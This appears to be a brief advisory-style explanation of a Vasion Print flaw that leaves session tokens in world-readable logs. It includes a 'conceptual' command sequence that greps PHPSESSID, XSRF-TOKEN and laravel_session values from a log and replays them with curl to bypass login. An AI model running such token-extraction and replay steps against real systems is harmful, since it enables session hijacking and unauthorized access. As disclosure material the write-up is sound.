How the Exploit Works
The vulnerability lies in the local logging mechanism of the affected Vasion Print systems. Authentication session tokens, including PHPSESSID, XSRF-TOKEN, and laravel_session, are stored in plaintext within world-readable log files. Any local user with access to the server hosting these logs can extract these session tokens. Once obtained, these tokens can be used to authenticate remotely to the SaaS environment, bypassing the standard login procedure. This can potentially lead to unauthorized system access and exposure of sensitive information.
Conceptual Example Code
Here is a conceptual example of how this vulnerability might be exploited:
# Access the log file
cat /path/to/logfile.log
# Look for session tokens
grep -o -P '(?<=PHPSESSID:).*(?=,)' logfile.log
grep -o -P '(?<=XSRF-TOKEN:).*(?=,)' logfile.log
grep -o -P '(?<=laravel_session:).*(?=,)' logfile.log
# Use the extracted tokens to authenticate
curl -H 'Cookie: PHPSESSID=extracted_token; XSRF-TOKEN=extracted_token; laravel_session=extracted_token' https://target-saas-env.comThis code block is a conceptual example and does not represent an actual exploit. It demonstrates the process of extracting session tokens from log files and using them to bypass normal authentication procedures.
